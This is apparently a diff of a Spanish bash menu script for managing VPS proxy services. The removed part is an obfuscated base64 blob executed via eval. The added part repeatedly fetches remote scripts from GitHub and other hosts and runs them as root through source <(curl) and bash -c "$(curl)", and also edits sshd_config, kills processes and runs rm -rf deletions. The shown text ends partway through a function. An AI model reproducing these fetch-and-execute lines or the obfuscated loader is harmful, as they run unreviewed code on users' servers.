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 | r";fwdfogtnqpIMMUsmnwgdtMOLFFCxBWqSdOJzwPYLVMdpbHbTZUFNpVApuxDETgWgeFnufDycShjiPUcsikjPqnhHKBqwuNZdnshY="gDLYBgJZPlpxcsZkibmXJgfyssaVZCPSRxXOXyUCJMNTURUCzsHgZnPPQmdkhRvMoKSFABhWlixevNvZwzgTnsKzzPBBbHPtyReD";pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh="";FnGBNeugNYABidbQCynMIVRNbsKwgmOPwByEuxhWbrxMSSpZDtvjtsjMiFKAqOLITvxzNCtdmLMHYYqDvdWJjBEcbVSrqxRxWfTj="as";XXKTPARgnGiyMFSwQnwfFIyFEiGQbaokmhbCjnqoVoYiNHOnXHKeWcCIZCHcHSmAYvZOCcuIxgqsJJzLwLAnYoDjOzsJyxXprycW="bYpEbrsrmZyxYuFSfDuCugmsWcpkRPxHWOqvRzdwbfcbdsQhUBCxRSegsxesHlBWjvmjGPjYfydnbbXFehFwlOMdfAlivBCoKjNQ";fEDNlUsyqbvgviPOUBGfBBfRKCqkvjLGSwrebAhaxzYWRjUUJJwgXhLaRkSTolZRgAxbkzyOokeHIWTBORQhTxildChnmYrmOxiD="NPBASdsCESyyUloPQCeNnhxifSloPQEkiqNdRVigMMWUCLWbjGFSSJybBtuGanSeGjLUoSUfNdNlTVSpuDSiRBFqHlIQJmKmAmow";oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ="o";XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb="6";vWytCcVlNyoQQeEseRbxcRaSvWkjNGpGpwmqmnnUDniKWYGtNqxGgtcfTOhXVOPUFdiqKArFsTHHLmlxTumjHKudxNLCEDgmSNGQ="rYEDVCMAbiKMwywSEISLUGtPDvGbGAKzDHQcKEauKVSrvyeOHFoVJqPacZzQwLGmWQaLyDBxnNnzOiRxivcLDSRXHgpTSbUvXJgO";AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG=" -d";ACWUcabIAjcNbvDeezBiRHvXHjEBcUUPerOakYyZzJfNXjcsmBKYvfMCKbouwFbKtCpgLTcHdnSijAqlwBwmSLnsrbcgSSyzjKby="UKzNMoTKCjDbYwBJkcNSPBAYfQoQRcIWcQEtTGdtpsBsyHjGuWBywUUADNEKIVnaJxpaImFUkYxrilhVkEODrXLGIFemvbPMJviG";mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ="";OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD="b";hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV="e";mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ="v |";Tx=Eds;epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd="";lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw=$(eval "$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$vzXfGbvFjUMKlYorLcgHpQWbBmahgYujcXPsWIKaQQyYTrgZPQInxGlfnoaLOdQoUjmLDdounFpeztggHtHBVJZReKPKLwbcUPLg$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$oXqQpDsEizoWiQFmqvNmMxYiwflvYQxgsHQGtCrooITQHkOLKYNOZMgSyWHtflxkMTWGbBNkpqhtXjUoatJdPQzXLzOjPTkvpSaJ$dBZQaUlsCBWFlNmMwyDsINxczHQYWaGkiyUWePrEDwEULStCxbdQdTTSzISyOubjkJClRGarZfaLRzIkpyVuWQssazEKiHPCQyAf$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$mGVGFqQSBCnoPoHeebzixAsUYcWAmztMopvecypvQiINEbXGPGCXzzeDauGgEyvqqIdPtKepWiZKgdORmeGhOOzfuksAiYxylYPZ$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$OLbXWIGfzvXstHuHSdhQyspIotlvQymBnlfAvqerYGjVBArTqSUexFkkdkYROhhwlwnSSYcCdmMqlmTegGyZqaWoYKfoYpwNDUkD$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd$FnGBNeugNYABidbQCynMIVRNbsKwgmOPwByEuxhWbrxMSSpZDtvjtsjMiFKAqOLITvxzNCtdmLMHYYqDvdWJjBEcbVSrqxRxWfTj$hLSndPDhxgELZgUozVLlizsAPZBCuxMKmlyrCxAkdLiBHJwKTQZOmYosamRSISSKKyULUDPatLdqPvOLXgKeVvgMAIZbOgmqVgTV$XPXcIaOewtaeZUQuQxJNrBajnJKxtWIFQYWXxtRneAjYQIIMIcWuqaLBhDWstJmkrhbrkvNbRvICbROzEkAWwYuIKTWLfRakwQbb$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB$MycMZwhNnEENUfinQiPYqwzGBBGRKwjTJLrrraZHOnhdvnfDCEKRPFTJEHdNYJzTrNCdkPdEZIMPjrPPpkePSFnzYfgnOdsoGJFr$AxGMYZWMoEsYxbILtzBHxmbCPKolzoaIHscAYzCwNbSyYbqkdYCJqWveQxTbHRaKKGPpXWLYCtLRusftOhhXpyFZbiBZeTHTbQCG$epIslozXNDGiPqVKqhACgfRcFfkEWOgQjDZiWGHFovRVJeppHKbQlIjSKCVLlIxCUbYiYlpFEskeTPmgrZDxEgiaATecNPSJQIWd");eval "$mZdWIOEmNlPUTCpVTrLLEUZSWIAiwkBokkJexSvPPAKiGPdCVsJAZnueDBWAQoTpTmkBUNHPjFsJwuYzbCoTSrwQtdINdjkHKqKQ$lTyDFWUOjumBhxJPtjnsOirBILGCtElfZLWCWoyvSfyIoRGvpQjddUxTXPXjAoUISVUoJAJHCWUoOOYcHmNGbAQNyXvDROQrxlVw$pUkuyZagVBFKjgrwMWnAQAgEZZnHtiJMtGLfTkHnSLYnxPPwPLprlGQRpHHlTAjQQpPGERptpWVgeDbHPqHTudRvwGLvYXbnBcbh$tjtOFRRxxatJMFvxPFDXHdeufMCqpqrWAPlLHWPPbcjSWVhgyHABSsqlEqKxiVahXUSGBiDvcQISHjGEnWRzHXXPlKvddWHwsScB"
\ No newline at end of file
+
+[[ -e /bin/ejecutar/msg ]] && source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/msg-bar/msg) || source /bin/ejecutar/msg
+start_menu () {
+local mem_total=$(free --mega -h | awk 'NR==2{printf $2}')
+local mem_used=$(free --mega -h | awk 'NR==2{printf $3}')
+local mem_free=$(free --mega -h | awk 'NR==2{printf $4}')
+local mem_cache=$(free --mega -h | awk 'NR==2{printf $6}')
+local mem_available=$(free --mega -h | awk 'NR==2{printf $7}')
+local mem_used_percent=$(free --mega | awk 'NR==2{printf "%.2f%%", $3*100/$2 }')
+
+local swap=$(swapon -s)
+local swap_total=$(free --mega -h | awk 'NR==3{printf $2}')
+local swap_used=$(free --mega -h | awk 'NR==3{printf $3}')
+local swap_free=$(free --mega -h | awk 'NR==3{printf $4}')
+local cpu_used="$(top -b -n1 | grep 'Cpu(s)' | awk '{print $2 + $4}')"%
+local _os="\033[1;31m$(cat /etc/issue | cut -d " " -f 1,2 | head -1| tr a-z A-Z)"
+local tmp_distro=($(lsb_release -d |cut -f2 | tr a-z A-Z))
+
+local distro="${tmp_distro[0]} ${tmp_distro[1]}"
+
+cor[0]="\033[0m"
+cor[1]="\033[1;34m"
+cor[2]="\033[1;32m"
+cor[3]="\033[1;37m"
+cor[4]="\033[1;36m"
+cor[5]="\033[1;33m"
+cor[6]="\033[1;35m"
+#SE CAMBIAN VARIABLES A ANTES DE LLENAR CACHE Y CPU ( MAQUILLAJE COMO OTROS MODS )
+source /etc/scpdk1/cabecalho "ports_"
+##
+[[ -z "$(cat /etc/crontab | grep 'ejecutar')" ]] && _opti="\033[0;31m [OFF]" || _opti="\033[0;31m [\033[0;32mON\033[0;31m]"
+[[ -e /etc/bash.bashrc-bakup ]] && _autorun="\033[0;31m [\033[0;32mON\033[0;31m] " || _autorun="\033[0;31m [OFF]"
+[[ -e /etc/systemd/system/killadm.service ]] && lmt="\033[0;31m [\033[0;32mON\033[0;31m] " || lmt="\033[0;31m [OFF]"
+msg -bar
+echo -e "\033[1;34m ${TOP}\033[1;31m TOTAL:\033[1;32m ${mem_total}\033[1;34m ${TOP} \033[1;31m Libre:\033[1;32m ${mem_free} \033[1;34m ${TOP} \033[1;31m Usada:\033[1;32m ${mem_used}"
+echo -e "\033[1;34m ${TOP}\033[1;31m Uso RAM:\033[1;32m${mem_used_percent} \033[1;34m${TOP}\033[1;31m Uso CPU:\033[1;32m${cpu_used} \033[1;34m ${TOP}\033[1;31m Cache:\033[1;32m ${mem_cache}" # $CPU"%"
+msg -bar
+echo -e "\033[0;35m [${cor[2]}01\033[0;35m]\033[0;33m ${flech}${cor[3]} CONTROL USUARIOS (SSH/SSL/VMESS) "
+echo -e "\033[0;35m [${cor[2]}02\033[0;35m]\033[0;33m ${flech}${cor[3]} HERRAMIENTAS (\033[0;34mBad/VPN$_badvpn${cor[3]}) (\033[0;34mTCP-SPEED$_tcpspeed${cor[3]})"
+echo -e "\033[0;35m [${cor[2]}03\033[0;35m]\033[0;33m ${flech}${cor[3]}\033[0;33m [!]${cor[3]} OPTIMIZAR VPS ${_opti}"
+echo -e "\033[0;35m [${cor[2]}04\033[0;35m]\033[0;33m ${flech}${cor[3]}\033[0;33m [!]\033[0;31m DESINSTALAR SCRIPT"
+echo -e "\033[0;35m [${cor[2]}06\033[0;35m]\033[0;33m ${flech}${cor[3]} CONTADOR ONLINE USERS $VERIFICAR_PID"
+echo -e "\033[0;35m [${cor[2]}07\033[0;35m]\033[0;33m ${flech}${cor[3]} \e[3;32mHERRAMIENTAS BETA\e[0m \033[0;33m (#EXPERIMENTAL)"
+echo -e "\033[0;35m [${cor[2]}08\033[0;35m]\033[0;33m ${flech}${cor[3]} AUTOINICIAR SCRIPT $_autorun"
+echo -e "\033[0;35m [${cor[2]}09\033[0;35m]\033[0;33m ${flech}${cor[3]} INSTALADOR DE PROTOCOLOS "
+msg -bar
+echo -ne "\033[0;35m [${cor[2]}10\033[0;35m]\033[0;33m ${flech}\033[0;33m [!] ${cor[2]}UPDATE / \033[0;31mREMOVE${cor[3]} |" && echo -e " \033[0;35m [${cor[2]}0\033[0;35m]\033[0;33m ⇦ $(msg -bra "\e[3;33m[ SALIR ]\e[0m")"
+msg -bar
+#chekKEY &> /dev/null 2>&1
+}
+
+fun_teste(){
+bash -c "$(curl -fsSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/funciones.sh)"
+}
+
+function removerv2ray(){
+BASE_SOURCE_PATH="https://multi.netlify.app"
+UTIL_PATH="/etc/v2ray_util/util.cfg"
+UTIL_CFG="$BASE_SOURCE_PATH/v2ray_util/util_core/util.cfg"
+BASH_COMPLETION_SHELL="$BASE_SOURCE_PATH/v2ray"
+CLEAN_IPTABLES_SHELL="$BASE_SOURCE_PATH/v2ray_util/global_setting/clean_iptables.sh"
+source <(curl -sL https://multi.netlify.com/v2ray.sh) --remove
+source <(curl -sL https://git.io/JeSZL) --remove
+bash <(curl -L -s https://multi.netlify.app/go.sh) --remove -x >/dev/null 2>&1
+rm -rf /etc/v2ray >/dev/null 2>&1
+rm -rf /var/log/v2ray >/dev/null 2>&1
+rm -rf /etc/xray >/dev/null 2>&1
+rm -rf /var/log/xray >/dev/null 2>&1
+bash <(curl -L -s $CLEAN_IPTABLES_SHELL)
+pip uninstall v2ray_util -y
+rm -rf /usr/share/bash-completion/completions/v2ray.bash >/dev/null 2>&1
+rm -rf /usr/share/bash-completion/completions/v2ray >/dev/null 2>&1
+rm -rf /usr/share/bash-completion/completions/xray >/dev/null 2>&1
+rm -rf /etc/bash_completion.d/v2ray.bash >/dev/null 2>&1
+rm -rf /usr/local/bin/v2ray >/dev/null 2>&1
+rm -rf /etc/v2ray_util >/dev/null 2>&1
+crontab -l|sed '/SHELL=/d;/v2ray/d'|sed '/SHELL=/d;/xray/d' > crontab.txt
+crontab crontab.txt >/dev/null 2>&1
+rm -f crontab.txt >/dev/null 2>&1
+systemctl restart cron >/dev/null 2>&1
+exit
+}
+sfix () {
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/sourcesfix.sh)
+}
+trofix(){
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/mod-v2ray.sh)
+}
+autoop(){
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+msg -bar
+echo -e "${cor[2]} \033[1;32mESTA FUNCION AGREGARA EN EL CRONTAB UN AUTOEJECUCION"
+echo -e "${cor[2]} \033[1;32m. Este Metodo Optimizara y limpiara Tu SERVIDOR"
+echo -e "${cor[2]} \033[1;32mDe manera automatica para evitar Lags y lentitud cada 5/"
+echo -e "${cor[2]} \033[1;32mSI ESTAS DE ACUERDO, PRESIONA 1, CASO CONTRARIO 0"
+msg -bar
+echo -e "\033[0;35m [\033[0;36m1\033[0;35m]\033[0;31m ${flech} ${cor[3]} ACTIVAR AUTOLIMPIEZA ( AUTO OPTIMIZACIONES )"
+echo -e "\033[0;35m [\033[0;36m2\033[0;35m]\033[0;31m ${flech} ${cor[3]} DESACTIVAR MOD DE LIMPIEZAS ( APAGA OPCION 1 )"
+msg -bar
+echo -e " \033[0;35m [\033[0;36m0\033[0;35m]\033[0;31m ${flech} $(msg -bra "\033[1;41m[ Salir ]\e[0m")"
+msg -bar
+selection=$(selection_fun 2)
+case ${selection} in
+0)
+clear&&clear && echo -e "${cor[0]}"
+return
+;;
+1) clear&&clear
+[[ -e /root/name ]] && figlet -p -f smslant < /root/name | lolcat || echo -e "\033[7;49;35m ${TTini} New ChumoGH${TTcent}VPS ${TTfin} \033[0m"
+echo -e "\033[1;37m ${RRini} Reseller : $(cat < /bin/ejecutar/menu_credito) 2022 ${RRfin}\033[0m"
+echo " Desabilitando Servicios de AutOptimizacion" && sed -i "/ejecutar/d" /etc/crontab
+echo -ne " VERIFICANDO SISTEMA......"
+if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tumbs.sh &>/dev/null -O /usr/bin/autotumbs &>/dev/null ; then
+echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar
+chmod +x /usr/bin/autotumbs &>/dev/null
+autotumbs --start
+#rm -rf /usr/bin/autotumbs
+else
+echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar
+sleep 2s
+return
+fi
+msg -bar
+echo -e " INGRESA TU NOMBRE DE BACKUP / 0 PARA CANCELAR"
+read -p " NOMBRE : " bkp
+[[ ${bkp} = 0 ]] && return
+echo $bkp > /bin/ejecutar/autt
+[[ -e /bin/ejecutar/autt ]] && name=$(cat < /bin/ejecutar/autt)
+echo " Nombre $name Cargado Exitosamente"
+echo -e " Nombre $name Cargado Exitosamente "
+echo -e "Ahora accede a http://$(wget -qO- ipv4.icanhazip.com):81/$name "
+echo -e " AQUI ENCONTRARAS TU FICHERO ONLINE"
+service apache2 restart
+read -p "Enter para Continuar"
+;;
+2)
+echo -e "Desabilitando Servicios de AutOptimizacion"
+echo -ne " VERIFICANDO SISTEMA......"
+if wget https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tumbs.sh &>/dev/null -O /usr/bin/autotumbs &>/dev/null ; then
+echo -e "${cor[2]} \033[1;32m EXITO \n" && msg -bar
+chmod +x /usr/bin/autotumbs &>/dev/null
+autotumbs --stop
+#rm -rf /usr/bin/autotumbs
+else
+echo -e "${cor[2]} \033[1;31m FAIL \n" && msg -bar
+sleep 2s
+return
+fi
+[[ -e /bin/ejecutar/autt ]] && name=$(cat < /bin/ejecutar/autt)
+[[ -z $name ]] && return
+[[ -e /bin/ejecutar/autt ]] && rm -f /bin/ejecutar/autt
+[[ -e /var/www/html/$name ]] && rm -f /var/www/html/$name
+;;
+esac
+}
+bbr () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/tcp.sh)
+}
+function tls13(){
+apt-get install -y git autoconf libtool
+git clone https://github.com/wolfssl/wolfssl.git
+cd wolfssl/
+./autogen.sh
+./configure --enable-sha512
+make
+make install
+ldconfig
+./configure --enable-stunnel --enable-tls13
+make
+make install
+ldconfig
+service stunnel4 restart
+cd /root
+}
+clash-man () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/clash-beta.sh)
+}
+fixssh () {
+unset portserv
+echo -e ""
+echo -e " ESTO RECONFIGURA TU OPENSSH A CUSTOM "
+echo -e ""
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+echo -e " Digita N/n PARA RETORNAR"
+read -p " [S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+sshfix="/etc/ssh/sshd_config"
+msg -bar && echo -e " INGRESA TU PUERTO OpenSSH "
+read -p " Defauld ( 22 ) : " -e -i '22' portserv
+sed -i "/Port /d" ${sshfix}
+sed -i "1i Port ${portserv}" $sshfix
+msg -bar
+echo " OpenSSH ALTERADO A -> ${portserv}"
+echo -ne " \033[1;31m[ ! ] DETENIENDO DROPBEAR -> 22" | pv -qL 40
+service dropbear stop > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear stop > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+echo -ne " \033[1;31m[ ! ] REINICIANDO OpenSSH" | pv -qL 40
+service sshd restart > /dev/null 2>&1
+service ssh restart > /dev/null 2>&1
+[[ -e /etc/init.d/ssh ]] && /etc/init.d/ssh restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+echo -ne " \033[1;31m[ ! ] RESTAURANDO PUERTOS DROPBEAR" | pv -qL 40
+service dropbear restart > /dev/null 2>&1
+[[ -e /etc/init.d/dropbear ]] && /etc/init.d/dropbear restart > /dev/null 2>&1 && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+msg -bar
+echo -e "REINICIANDO VPS"
+sleep 0.5s
+echo -e " Mejor Reiniciamos los Servicios!!!
+ Si eso dio error
+ Dijita manualmente en consola \033[0;32m( sudo reboot ) "
+exit 0
+fi
+}
+xswap () {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/swapfile.sh)
+}
+mpro () {
+msg -bar
+echo -e " MOSTRANDO 25 PROCESOS ACTIVOS EN VPS"
+msg -bar
+#ps aux --width 30 --sort -rss | head
+ps -Ao user,uid,comm,pid,pcpu,pmem --sort=-pcpu | head -n 25
+read -p "Ingresa nombre de proceso a Destruir, ( no Dropbear, no SSH ) : " df
+[ -z "$df" ] && df="kswapd0"
+pidkill='ps x | grep -v grep | grep $df'
+killall $df > /dev/null 2>&1
+#pidkill='ps x | grep -v grep | grep $df'
+ps aux | grep -v grep | grep $df
+echo "Proceso Liberado Exitosamente"
+killall kswapd0 > /dev/null 2>&1
+killall tcpdump > /dev/null 2>&1
+killall ksoftirqd > /dev/null 2>&1
+killall menu_inst > /dev/null 2>&1
+killall menu > /dev/null 2>&1
+}
+function goinst(){
+echo -e "A continuacion se instalara el paquete GO Lang"
+msg -bar
+echo -e " \033[41m-- SISTEMA ACTUAL $(lsb_release -si) $(lsb_release -sr) --"
+msg -bar
+#fun_bar "apt install golang -y"
+cd $HOME
+echo "DESACIENDO DIRECTORIOS EXISTENTES" && rm -rf /usr/local/go 1> /dev/null 2> /dev/null
+[[ $(uname -m 2> /dev/null) != x86_64 ]] && {
+msg -bar
+echo -e " PROCESADOR ARM DETECTADO "
+msg -bar
+echo
+wget -O golang.tar.gz https://go.dev/dl/go1.20.1.linux-arm64.tar.gz
+echo
+msg -bar
+} || wget -O golang.tar.gz https://go.dev/dl/go1.20.1.linux-amd64.tar.gz
+echo -ne "Descomprimiendo Ultimo paquete Descargado"
+#sudo tar -xvf golang.tar.gz &> /dev/null && echo -e "\033[1;32m [OK]" || echo -e "\033[1;31m [FAIL]"
+rm -rf /usr/local/go && tar -C /usr/local -xzf golang.tar.gz
+#sudo mv go /usr/local # Desplazar los binarios hacia /usr/local
+cat ~/.profile | grep -v 'export PATH=$PATH:/usr/local/go/bin' > ~/.profile.tmp
+mv ~/.profile.tmp ~/.profile
+chmod +x ~/.profile
+echo 'export PATH=$PATH:/usr/local/go/bin' >> ~/.profile # Se actualiza su perfil bash para que Go este en el PATH
+sleep 0.5s
+echo -e "Reiniciando Fuente de Terminal..."
+echo -e "\033[1;31mPRESIONE ENTER PARA CONTINUAR\033[0m"
+read -p " "
+rm -f golang.*
+source ~/.profile
+}
+ssrmenu() {
+source <(curl -sSL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/trojan-nao.sh)
+}
+btorrent () {
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/blockT.sh)
+}
+chora () {
+source <(curl -sL https://raw.githubusercontent.com/kelokepe/scriptcgh/main/Recursos/menu/hora.sh)
+}
+
+crea_pay () {
+[[ -z /bin/ejecutar/Irparpaya-a/real-host-v2.sh ]] && {
+echo -e "A continuacion se instalara los Paquetes Necesarios"
+echo -e "Sea Paciente mientas completamos el Proceso "
+echo -e "Deseas Continuar?"
+while [[ ${yesno} != @(s|S|y|Y|n|N) ]]; do
+read -p "[S/N]: " yesno
+tput cuu1 && tput dl1
+done
+if [[ ${yesno} = @(s|S|y|Y) ]]; then
+echo -e "Instalando..."
+cd
+fun_bar ""
+apt update -y && apt upgrade -y 1> /dev/null 2> /dev/null
+pkg install git -y 1> /dev/null 2> /dev/null
+apt install git -y 1> /dev/null 2> /dev/null
+cd /bin/ejecutar/
+[[ -e /bin/ejecutar/Irparpaya-a/real-host-v2.sh ]] && rm -rf /bin/ejecutar/Irparpaya-a
+git clone https://github.com/HackeRStrategy/Irparpaya-a && fun_bar && echo "Clonando del SITIO OFICIAL DEVELOPER" || echo "Fallo al Clonar"
+cd Irparpaya-a && echo "Procedimiento Completado Exitosamente"
+sleep 1s
+bash real-host-v2.sh
+fi
+} || {
+/bin/bash /bin/ejecutar/Irparpaya-a/real-host-v2.sh
+}
+}
+
+function removerbadvpn(){
+badvpn stop
+killall $(which badvpn-udpgw)
+rm -f $(which badvpn-udpgw) > /dev/null
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+
+function removetrojan(){
+killall trojan > /dev/null
+[[ -d /usr/local/etc/trojan ]] && rm -rf /usr/local/etc/trojan > /dev/null
+[[ -d /etc/scpdk1/trojancert ]] && rm -rf /etc/scpdk1/trojancert > /dev/null
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+
+function removerfail2ban(){
+apt-get purge fail2ban -y
+apt-get remove fail2ban -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerstunnel(){
+service stunnel4 stop 1> /dev/null 2> /dev/null
+killall stunnel4 1> /dev/null 2> /dev/null
+apt-get -y purge stunnel4 1> /dev/null 2> /dev/null
+apt-get -y remove stunnel4 1> /dev/null 2> /dev/null
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
+echo -e "\033[1;31mINSTALACION FINALIZADA - PRESIONE ENTER\033[0m"
+read -p " "
+}
+function removerwebmin(){
+apt-get purge webmin -y
+apt-get remove webmin -y
+clear
+echo -e "\033[1;37m Desinstalacion Completa \033[0m"
